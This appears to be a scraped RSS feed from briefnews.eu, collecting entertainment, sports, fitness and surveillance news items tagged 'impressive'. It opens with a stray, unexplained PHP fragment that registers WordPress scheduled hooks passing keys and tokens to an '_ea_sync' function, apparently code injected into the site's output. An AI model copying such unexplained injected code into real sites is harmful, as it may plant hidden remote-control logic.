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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); impressive – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 27 Jan 2020 11:19:48 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png impressive – Brief News https://briefnews.eu 32 32 Antiques Roadshow guest shocked by painting of Queen Elizabeth II’s impressive valuation https://briefnews.eu/antiques-roadshow-guest-shocked-by-painting-of-queen-elizabeth-iis-impressive-valuation/ https://briefnews.eu/antiques-roadshow-guest-shocked-by-painting-of-queen-elizabeth-iis-impressive-valuation/#respond Mon, 27 Jan 2020 11:19:48 +0000 http://briefnews.eu/antiques-roadshow-guest-shocked-by-painting-of-queen-elizabeth-iis-impressive-valuation/

It was then time to find out the price of the painting but it wasn’t necessarily the answer the owner was looking for.

Rupert admitted: “Now we’ve got to value it of course. I am slightly worried about how many she’s done and the number of embassies that have this image. 

“Yet it is such an iconic thing and it does come straight from her so that’s got to all help, so I would have thought to be between £4,000 and £6,000 not an awful amount.

“But I wouldn’t be surprised if there were monarchists all over the commonwealth who would like to own this it’s such a wonderful image.”

The owner concluded: “Thank you. We are very proud of her!”

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]]> https://briefnews.eu/antiques-roadshow-guest-shocked-by-painting-of-queen-elizabeth-iis-impressive-valuation/feed/ 0 Strictly Come Dancing 2018: ‘Very emotional’ Karen Clifton in TEARS by impressive Rhumba https://briefnews.eu/strictly-come-dancing-2018-very-emotional-karen-clifton-in-tears-by-impressive-rhumba/ https://briefnews.eu/strictly-come-dancing-2018-very-emotional-karen-clifton-in-tears-by-impressive-rhumba/#respond Sun, 02 Dec 2018 06:46:01 +0000 http://briefnews.eu/strictly-come-dancing-2018-very-emotional-karen-clifton-in-tears-by-impressive-rhumba/

Karen, 36, and Charles, 45, took to the dance floor to perform a Rhumba routine to the West Side Story soundtrack.

After their performance, Karen and Charles joined BBC host Tess Daly, 49, to hear the judges critiques on their Rhumba.

Shirley Ballas, 58, told the pair: “Well, in Latin dancing, there are three stages to the basic technique.”

Speaking directly to Karen, Shirley praised the professional, telling her: “You very cleverly put those advanced steps in their.”

The head judge continued: “I thought your hip action was great, I thought you had a sensitivity about putting your hand on her shoulder,” Shirley told Charles.

Bruno Tonioli, 62, then gave his comments on the performance, telling the couple: “I like the fact you made it very tender,” at which point Karen seemed to fill up at the comments.

“It was never pushed. You really balanced your partner,” Bruno continued.

Joining Claudia Winkleman, 46, after hearing the comments, the pair discovered the score they had been awarded for their efforts.

Karen and Charles found themselves joint bottom of the leaderboard after the Strictly quarter-final with a score of 35.

Faye Tozer, 42, topped the leaderboard with her Charleston routine, scoring a combined total of 40.

Earlier this week, Charles and Karen were speaking with Zoe Ball, 48, on spin-off show It Takes Two.

The pair managed to avoid the dance-off last weekend after receiving a score of 30 out of 40 by the judges for their Tango routine.

Instead, it was Ashley Roberts, 37, and Graeme Swann, 39, who faced the save me dance with the latter being eliminated from the competition.

Asking of his reaction after it was announced Ashley would be in the dance-off instead of him, Charles said: “They are technically the best dancers in the group.

“And you’re thinking okay, you know – I said: ‘I guess we better get ready to dance! You know, it’s on!’”

However, the Casualty actor believed they had got the names mixed up following the technical difficulties which arose during the Lindy Hop-a-thon.

Karen added: ““I said: ‘I think they got the wrong name.’”

Zoe explained: “The thing is, though, this is it: You never know with this competition.

“Everyone is voting for their favourite – that’s what happens.”

Charles and Karen will be hoping to secure their place in next week’s semi-final of the dancing competition.

continues tomorrow night at 7.20pm on One.

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]]> https://briefnews.eu/strictly-come-dancing-2018-very-emotional-karen-clifton-in-tears-by-impressive-rhumba/feed/ 0 Nomadic’s Arizona Sunshine is an impressive step in location-based VR’s evolution https://briefnews.eu/nomadics-arizona-sunshine-is-an-impressive-step-in-location-based-vrs-evolution/ https://briefnews.eu/nomadics-arizona-sunshine-is-an-impressive-step-in-location-based-vrs-evolution/#respond Mon, 19 Nov 2018 04:52:47 +0000 http://briefnews.eu/nomadics-arizona-sunshine-is-an-impressive-step-in-location-based-vrs-evolution/

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]]> https://briefnews.eu/nomadics-arizona-sunshine-is-an-impressive-step-in-location-based-vrs-evolution/feed/ 0 5 Killer Stomach Workouts for Impressive Abs https://briefnews.eu/5-killer-stomach-workouts-for-impressive-abs/ https://briefnews.eu/5-killer-stomach-workouts-for-impressive-abs/#respond Wed, 29 Aug 2018 17:15:06 +0000 http://briefnews.eu/5-killer-stomach-workouts-for-impressive-abs/ Having a well-chiseled six pack is the ultimate fitness goal for many people. And it’s okay if you want some as well.Having a strong core is of vital importance – not just for aesthetics, but also for improved strength and overall health.But there’s a problem – many people never succeed in carving out the core of their dreams! For some people, the problem lies in their approach to working out, while others have got their feeding wrong. Either way, there’s a remedy and you can commence your journey to an impressive six pack – starting today!In this article, we’ll go over the role nutrition plays in carving out the body of your dreams, as well as non-sexy reasons for having a strong core.I’ll also be sharing some proven stomach workouts and core exercises that’ll help you carve out an impressive ab and then I’ll cap it up by revealing the fool-proof formula for carving out that magazine-worthy core that you desire. So, be sure to stick around to the end, okay?

Why you need rock-solid abs

Believe it or not, there’s actually more to having a strong core than just good looks. Core muscles are required for just about everything we do on daily basis, from sitting, to walking, running and throwing things around.Before we go any further, though, you should probably know that there’s more to core muscles than just the abdominals (abs), it also includes hip and pelvic muscles, as well as mid and lower back muscles. All these muscles work synergistically to support movement and maintain stability. Here are some benefits of having strong core:

1. It helps your posture.

When you engage in core-strengthening exercises, the thorough working of the torso helps to maintain a balanced posture. The posture balance in turn helps to reduce the risk of vertebrae degeneration and disc herniation…in other words, bad conditions for your spinal cord.

2. It reduces back pain.

Having a strong core also helps to alleviate back pain by providing adequate support for the spine. Research has also revealed that having strong core muscles reduces the risk of back injury during workouts.((Journal of Novel Physiotherapies: Effects of Core Strengthening on Cardiovascular Fitness, Flexibility and Strength on Patients with Low Back Pain))

3. It improves athletic performance.

You’re going to have a hard time finding a sport that doesn’t rely heavily on core muscles for effective performance. From running, to rowing, baseball, football and tennis, every sport you could possible think of engages the core in one way or the other.So, if you’re planning to become an athlete, then strengthening your core is absolutely indispensable.

4. It makes life easier on-the-job.

Life will become a whole lot easier for you on the job if you can manage to strengthen your core. And the reason is simple – just about every activity you engage in at work engages your core…from standing to lifting, twisting and even sitting.So, if you’d like to be a bit more comfortable and energetic at work, then strengthening your abs and back muscles would be a great place to start.

Nutritions you need for impressive abs

Alright, before we dive into which exercises you should start focusing on, let’s talk about the most important factor in building an impressive figure – what you eat.If you’re a frequent gym goer, then chances are that you’ve overheard this common saying among gym rats – “abs are made in the kitchen.” Well…they’re not wrong!Doing 1,000 crunches per day won’t give you magazine-worthy six packs if you’ve got your nutrition wrong. Okay, here’s how it works:Ab exercises are aimed at strengthening your core muscles, not revealing them.In other words, you may have a strong core, but until the fat layer above it is torched, it will stay hidden.This is why your first course of action should be weight loss…which begins with a proper diet.((Premium Health Writer: Why Nutrition is Important in Your Weight Loss Program)) Your daily diet should contain the right amount of macronutrients (carbohydrates, protein and fat) and micronutrients (vitamins and minerals).So, in order to save yourself a whole lot of frustration and headache down the line, you need to ditch junk foods and start eating clean foods.

5 Amazing stomach workouts for rock-solid abs

Before diving into the specific workouts that will finally send your abs out of hiding, there are a couple of anatomical jargon you need to be familiar with. These are just fancy names for the muscles that make up the abs and they are:

  • Rectus abdominis (front abs commonly known as six-packs)
  • Internal and external obliques (side abs found around the waist).

Got it? Great! Keep those in mind because I’ll be mentioning them a lot in the coming paragraphs.Now, let’s move on to the actual workouts:

1. Crunches

Regardless of the negative media crunches may have received over the years, one thing is for certain – it works…when done correctly!Crunches are great for eliciting muscle activity in the rectus abdominis and this helps greatly in strengthening those muscles.

How to do the traditional crunch
  • Lie on your back, bend your knees and place your feet closely together and flat on the floor. You may want to hold on to something with your toes to make it easier.
  • Place your hands behind your head (without interlocking them) or place them across your chest.
  • Keep your elbows open to the sides.
  • Gently tighten and pull in your abs.
  • Curl forward lifting your head and shoulder blades off the floor towards your knee.
  • Hold it for a moment and lower back down slowly.

Several variations of the traditional crunch have been developed to focus on other core muscles ignored by regular crunches. One of these is the bicycle crunch or bicycle kicks. The bicycle crunch impacts the external obliques (on the side of the waist) in addition to the rectus abdominis and this helps to work the torso.

How to do the bicycle crunch
  • Lie on your back, bend your knees and place your feet wide apart on the floor.
  • Place your hands behind your head without interlocking them and avoid pulling your head with your hands to avoid neck pain.
  • Lift your right knee off the floor, toward the left side of your chest and simultaneously lift your left elbow to meet your right knee.
  • Repeat this process for the left knee and right elbow and keep up this cycle until your abs are thoroughly worked.
  • Be sure to completely lift your shoulder blades off the floor to keep the action concentrated on your core.

Check out this video for how to do the bicycle crunch:

2. Planks

There’s a good reason why plank has gained so much attention in the fitness industry – it works. Not only does it crush the rectus abdominis, it also greatly impacts the external obliques and transverse abdominis.In simple terms, it rocks your abs in a way regular crunches don’t and also doesn’t give you back pain no matter how long you hold out doing it.Planks aren’t just a great workout for abs, though, it also does a great job strengthening the arms, shoulders and glutes.Just like the crunch, there are several variations of the plank, each adapted to focus on specific muscle groups which may have been ignored by others. Here I’ll be discussing just two of them – the front plank and the side plank.

How to do the front plank

The front plank is the basic plank position and it targets your rectus abdominis. Here’s how to do it.

  • Start in the pushup position with your arms placed as far apart as your shoulders and place your feet together.
  • Rest your weight on your forearms, with your palms facing the ground and maintain a 90-degree angle between your shoulders and fore arm.
  • Raise your hip slightly and maintain a straight line from your head to your feet.
  • Hold the position for as long as you can before your form collapses.
  • Rest for a few minutes and repeat.
  • Aim for 3-5, 30-120 seconds sets per workout and it should get you shaking!
  • If this isn’t challenging enough, raise an arm and a leg to increase the difficulty level.

How to do the side plank

Apart from strengthening the front abs, the side plank also comes with an added advantage of working the external obliques and transverse abdominis, thus helping you to carve out that dreamy physique you’ve always desired in your midsection. Here’s how to do it:

  • Lie on your right side, supporting your body by placing your right forearm on the floor.
  • Place your left leg on the right leg while maintaining this position
  • Lift your hip off the ground maintaining a straight line from your shoulder to your feet.
  • Lift your left arm into the air to maintain balance.
  • Hold this position for as long as you can (one – two minutes is fine).
  • Rest for a few minutes and repeat for the other side.
  • Aim for 3-5 reps per workout.
  • To increase the difficulty level, you can raise the leg on top.

3. Russian twists

The Russian twist is an amazing workout that works just about every muscle in your core as you twist from side to side. The obliques are the more obvious beneficiaries, though, as the side-to-side motion really impacts the torso and helps to carve out an impressive side.And just like the other workouts listed so far, no serious gym equipment is required. All you need is some space on the floor and the will to keep going!

How to do the Russian twist
  • Sit on the ground and bend your knees such that there’s a 90-degree angle between your upper and lower legs.
  • You may place your feet under something immovable or lift them slightly off the floor.
  • Tilt your back towards the ground at an approximate angle of 45-degrees with the ground.
  • Hold your arms straight before you and twist as far as possible to one side before doing the same thing for the other side.
  • To kick things up a notch, hold a mildly heady object in your hands as you twist from side to side.
  • Aim for 10-12 reps on each side, rest and repeat the process 3-5 times.

4. Hanging leg raise or knee raise

This is another exercise that will rev up your core and leave your abs strengthened for days. The most beautiful thing about this workout is its scalability. You can start off with bent knee raises, then you can move on to straight leg raises and ultimately to toe-to-bar raises.

How to do the hanging leg raise or knee raise
  • Grab the pull-up bar, ensuring that your arms are straight and your feet are totally off the ground.
  • Straighten your legs and keep them firmly together all the while.
  • Tighten your abs and use your core to raise your straightened legs forward until they form an angle of 90-degrees with your midsection.
  • Hold this position for a few seconds and slowly return your legs back to their normal position.
  • For the knee raise, bend your knees before raising them to an angle of 90-degrees with your midsection.
  • For either movement, make sure you get your legs up using only your core. Avoid swinging them up with momentum.
  • To make things a bit more challenging, try placing a medicine ball between your ankles or knees.
  • Aim for 3-5 sets in the 10-15 rep range and you midsection should be burning for days to come.

5. Ab-wheel roll-out

Alright, this one may require a trip to the gym but trust me, it’ll be worth every minute of your time.If there’s one thing those infomercials got right, it’s the fact that ab wheels produces better muscle activation than crunches and leg raises.((SciELO: Muscle Activation Pattern During Isometric Ab Wheel Rollout Exercise in Different Shoulder Angle-Positions))As you roll out on the wheel, your trunk is forced to fire actively in order to maintain the neutrality of the spine and prevent collapsing due to gravity and your body weight.((Phys Ther.: Electromyographic analysis of traditional and nontraditional abdominal exercises: implications for rehabilitation and training.)) In order words, it does a great job of crushing your abs and carving out those much-desired six packs.

How to do the ab-wheel roll out
  • Get into a tabletop position and place some pads under your knees for protection.
  • Place your hands on the ab wheel and take a deep breath.
  • Push your belly backward to prevent it from sagging as you roll out.
  • Roll out the wheel as far as you comfortably can and keep your core tight all the way.
  • Hold the position for a few seconds and roll back in, fully engaging your abs as you do so.
  • To kick things up a notch, strap on a backpack containing some weight as you roll in and out.
  • Aim for 2-5 sets in the 10-15 rep range and you’ll definitely feel it in your abs for days to come.

Bonus Tip: Your other muscle groups

Before you dash off, don’t ignore other muscle groups!Here’s a little fact you need to wrap your head around – doing only ab exercises won’t give you six pack! Here’s why:Your abs are invisible because it’s covered by a heavy layer of abdominal fat.Excessive body fat results from calorie surplus, which means you take in more calories than you burn. And the abdomen is just one of the several fat-storage spots in the body.So, lowering your total body fat should be the first course of action and that requires a full body workout.Contrary to what some marketers would have you believe, you can’t directly target abdominal fat for elimination, there’s simply no scientific evidence behind this hocus pocus.((Med Sci Sports Exerc.: Subcutaneous fat alterations resulting from an upper-body resistance training program.))Although research has revealed that training a particular muscle group does increase lipolysis (conversion of fat into energy) and blood flow in that area, the effect is usually too negligible to matter.So, training a particular muscle group doesn’t make them cannibalize the fat covering them, although it does help those muscles to consume more energy as they get bigger.You may do hundreds of crunches and leg raises until your abs almost explode, but you still won’t see those abs if you don’t reduce the percentage of your total body fat 15% or less.((J Strength Cond Res.: The effect of abdominal exercise on abdominal fat.)) Fat loss is a full-body process and that means you need to stick to a calorie deficit and train all muscle groups to achieve it.

The bottom line

There are no magic tricks to carving out an impressive core! If you want great abs, you need to do three things – eat right, train right and burn fat!And no, this isn’t going to happen overnight, so you’ll have to commit months to the stomach workouts listed above, as well as full-body exercises to achieve your goal.Here’s the thing, though – you can do it!Start today, take it one day at a time and a few months from now you’ll look in the mirror and love what you see. Stop sitting around, get out there and get it done!

]]> https://briefnews.eu/5-killer-stomach-workouts-for-impressive-abs/feed/ 0 Rams’ 32-year-old head coach might have an even more impressive photographic memory than LeBron James https://briefnews.eu/rams-32-year-old-head-coach-might-have-an-even-more-impressive-photographic-memory-than-lebron-james/ https://briefnews.eu/rams-32-year-old-head-coach-might-have-an-even-more-impressive-photographic-memory-than-lebron-james/#respond Sat, 28 Jul 2018 21:50:35 +0000 http://briefnews.eu/rams-32-year-old-head-coach-might-have-an-even-more-impressive-photographic-memory-than-lebron-james/ SEAN MCVAYHBO/YouTube

  • Los Angeles Rams’ head coach Sean McVay might have a more impressive photographic memory than LeBron James.
  • In an interview with HBO, McVay was asked about three scenarios from last season and correctly answered what play happened next during those sequences.
  • McVay joked that he could only remember football plays so well because it’s the only thing on his mind.

LeBron James’ photographic memory got a lot of attention during the playoffs, as he broke down long stretches of games, play by play, in front of reporters.

James may have met his match in his new neighbor, Los Angeles Rams head coach Sean McVay.

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  • The Chinese government is working to combine its 170+ million security cameras with artificial intelligence and facial recognition technology to create a vast surveillance state.
  • The government isn’t quiet about its efforts, often playing up technological successes in state media to convince the populace of its impressive capabilities.
  • But recent reports suggest that the technology is not as ubiquitous or useful as the government wants its citizens to believe.
  • For example, an exec at one of the main Chinese artificial intelligence startups powering the surveillance technology told Business Insider that its platform cannot handle searching for more than 1,000 people at a time due to technological limitations.

The Chinese government is working to create a techno-authoritarian state powered by artificial intelligence and facial recognition to track and monitor its 1.4 billion citizens.

The government has big plans to have a ubiquitous surveillance network, leading the country to becoming the biggest market in the world for video surveillance — $ 6.4 billion in 2016, according to estimates from IHS Markit Ltd. China already has 170 million security cameras in use for its so-called Skynet surveillance system, with 400 million more on the way in the coming years.

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]]> https://briefnews.eu/2018-pikes-peak-hill-climb-impressive-math-from-practice-day-3/feed/ 0 LeBron James just pulled off what his former GM called ‘unprecedented’ and perhaps the most impressive accomplishment of his career https://briefnews.eu/lebron-james-just-pulled-off-what-his-former-gm-called-unprecedented-and-perhaps-the-most-impressive-accomplishment-of-his-career/ https://briefnews.eu/lebron-james-just-pulled-off-what-his-former-gm-called-unprecedented-and-perhaps-the-most-impressive-accomplishment-of-his-career/#respond Mon, 28 May 2018 04:24:48 +0000 http://briefnews.eu/lebron-james-just-pulled-off-what-his-former-gm-called-unprecedented-and-perhaps-the-most-impressive-accomplishment-of-his-career/ lebron celtics game 7Maddie Meyer/Getty

  • LeBron James scored 35 points, 15 rebounds, and 9 assists to help the Cleveland Cavaliers beat the Boston Celtics in Game 7 to advance to the NBA Finals.
  • In April, former Cavs GM David Griffin told Business Insider that James leading this Cavs team to the Finals would perhaps be the most impressive accomplishment of his career.
  • James’ supporting cast often looked like it might not be enough to help get the Cavs out of the East, but James proved once again that he can go to another level to carry his team.

Once again, the key to getting out of the Eastern Conference playoffs was LeBron James.

On Sunday, James led the Cleveland Cavaliers to an 87-79 Game 7 win over the Boston Celtics, making it James’ eighth straight trip to the Finals and his fourth straight with the Cavaliers.

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Woods is second in the Arnold Palmer invitational after the first round having finished joint second in last week’s Valspar Championship.

Woods only returned to golf at the back end of last year following his fourth back operation in three years.

But now he’s fully fit the American is battling at the right end of leaderboards.

And with the first major of the year just around the corner, with the Masters in April, Woods believes he is getting back to his best.

“I feel way more comfortable in the tournament setting,” said Woods.

“It’s taken a little bit of time in terms of tournament rounds under my belt to be able to get into this position and I’ve got my tournament feels now, which is nice.

“That was only going to come with time and with patience and just playing golf tournaments.”

Tiger Woods has won 14 majors in his career, though the last of these came at the 2008 US Open.

He is now joint favourite for the Masters, which he has won four times.

Yet winning isn’t everything for Woods, who remembers just how far he has had to come in the past few years.

He added: “Well, I was struggling there for a number of years there and it was a very difficult life to live and now on this side I’m just very thankful to be here.”

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]]> https://briefnews.eu/tiger-woods-reveals-secret-to-comeback-after-impressive-round/feed/ 0 Sir Roger Bannister: A look back at his most impressive achievements https://briefnews.eu/sir-roger-bannister-a-look-back-at-his-most-impressive-achievements/ https://briefnews.eu/sir-roger-bannister-a-look-back-at-his-most-impressive-achievements/#respond Mon, 05 Mar 2018 13:43:55 +0000 http://briefnews.eu/sir-roger-bannister-a-look-back-at-his-most-impressive-achievements/

Then one day in 1954 a young doctor finished his rounds at a London hospital, caught a train to a damp cinder track in Oxford and stunned the world.

Even now, watching original footage of Roger Bannister collapsing over the line sends shivers down the spine. The stopwatch showed three minutes 59.4 seconds.

The achievement enshrined in history the name of Bannister, whose death aged 88 was announced yesterday.

It was all the more remarkable that he pulled it off with minimal training.

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Yet at one stage it looked as if the young medic was destined to be just another also-ran.

He had almost quit after coming only fourth in the 1,500m at the Helsinki Olympics two years earlier but used his disappointment to spur him on.

Born in Harrow in 1929, Roger Bannister came from an ordinary working-class family.

He won a place to study medicine at Oxford University where he took up running after being told he was too frail to make the boat race crew.

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Sir Roger and his wife met Margaret Thatcher in Downing Street in 1988

Chastened by his Olympic failure, Bannister decided to concentrate on running the mile in under four minutes.

At the time, the record had stood resolutely at 4:01 since the 1940s.

However by 1954 several athletes had the landmark in their sights, including Bannister’s rival, the Australian John Landy.

Bannister, who was working as a junior doctor at St Mary’s Hospital in Paddington, prepared for the record attempt by training in his lunch breaks.

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Queen Elizabeth II greets Sir Roger at Buckingham Palace in 2003

By the spring of 1954 he was ready and chose the Iffley Road track in Oxford as the site of his record-breaking attempt.

The date was set for May 6, when a regular athletics meeting was scheduled to take place.

But when the big day dawned Bannister, then aged 25, was distraught.

Instead of the ideal warm, dry and still conditions on which he had pinned his hopes, it was cool, rainy and blustery.

It made sense to postpone the run – to be broadcast live on BBC Radio – but Bannister knew that Landy was soon heading to Finland for his latest shot at breaking the record.

He decided to press on, buoyed by a last-minute drop in wind speed.

Six runners lined up in front of an expectant crowd of 3,000, including future British medal winners Chris Chataway and Chris Brasher, whose role was to keep the pace fast.

The gun sounded at 6pm and the calculation was simple – four laps in under four minutes.

Brasher set a perfect rhythm for the first two circuits, resisting the temptation to run disastrously quickly but Bannister wanted to up the pace.

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Sir Roger said the fear of being branded a failure helped him keep running

He recalled: “We seemed to be going so slowly. Impatiently I shouted ‘faster’ but Brasher kept his head and didn’t change the pace.”

As Chataway took over as pacemaker Bannister urged himself to relax and conserve energy for the crucial sprint finish to come.

By the time the bell rang for the final circuit he knew he must complete it in 59 seconds.

On the last bend the tall figure of Bannister hit the front and was roared home.

“I felt the moment of a lifetime had come,” he said later.

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Sir Roger representing Oxford University during the Inter-Varsity mile event in London in 1948

“Those last few seconds seemed never ending. The faint sight of the finishing line stood ahead.”

Bannister, who was knighted in 1975 and made a Companion of Honour last year, said that the fear of being branded a failure also helped keep his legs pumping.

He described how he leapt through the tape “like a man taking his last spring ” into the embraces of his supporters.

“I fell almost unconscious,” he said.

“It was only then the real pain overtook me. I knew I had done it before I even heard the time.”

When the sub-four minute mile was officially announced there was pandemonium.

But Bannister held the record for just 46 days before Landy snatched it away.

A few months later the pair clashed at the Commonwealth Games in Vancouver in a race dubbed “the miracle mile”.

It was the Briton who triumphed there, breaking four minutes once again into the bargain.

A year after his record feat, Bannister married the artist Moyra Jacobsson, daughter of the Swedish economist Per Jacobssen, who served as managing director of the International Monetary Fund, and they went on to have four children.

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Sir Roger (C) with Chris Chataway (R) and Chris Brasher (L) after his sub-four-minute mile success

After retiring from the track he became a leading neurologist, whose work led to a better understanding of degenerative conditions.

Indeed, Sir Roger’s pioneering research into diseases of the autonomic nervous system, led him to produce a text book on neurology which ran to six editions.

He became the first chairman of the Sports Council in 1971 and a year later it devised a test to detect anabolic steroids, a major step forward in the battle against drug cheats in sport.

Bannister was appointed Master of Pembroke College, Oxford, in 1985, a post he held up to his retirement eight years later.

He was diagnosed with Parkinson’s disease in 2011 but a year later he was well enough to hand over the Olympic flame as part of the lead-up to London 2012 at the Iffley Road track where he had enjoyed his greatest moment – except by then it had been renamed in his honour.

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